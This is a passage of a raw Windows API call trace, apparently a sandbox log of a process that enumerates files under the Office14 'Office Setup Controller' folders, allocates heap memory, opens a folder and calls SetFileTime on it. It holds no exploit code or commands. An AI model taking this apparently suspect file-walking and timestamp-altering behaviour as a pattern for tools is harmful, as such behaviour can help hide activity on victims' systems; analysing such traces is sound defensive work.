RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.269] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.269] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.270] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.271] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.274] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0053.274] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.277] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.277] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.278] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.775] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97710 [0053.776] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0053.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95d20 [0053.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98160 [0053.777] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.777] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0053.777] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.780] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.780] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.781] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.781] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95d40 [0053.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98268 [0053.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.786] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="")) returned 1 [0053.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95d60 [0053.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98370 [0053.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x500) returned 0xf98570 [0053.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf870d0) returned 1 [0053.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.787] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="")) returned 1 [0053.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95d80 [0053.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0053.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.788] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0053.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.788] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="")) returned 1 [0053.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95da0 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98a90 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95dc0 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98b98 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95de0 [0053.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98ca0 [0053.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.789] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95e00 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98da8 [0053.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.790] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf95e20 [0053.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf98eb0 [0053.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0053.790] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0053.790] GetLastError () returned 0x12 [0053.790] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0053.790] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0053.790] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0053.791] GetLastError () returned 0x12 [0053.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97608) returned 1 [0053.791] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0053.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97710) returned 1 [0053.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf97500) returned 1 [0053.792] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office32.en-us", cAlternateFileName="")) returned 1 [0053.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf97500 [0053.792] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19b82c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x19b82c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19b82c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0053.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0053.812] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0053.812] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf9dfa8 [0053.813] 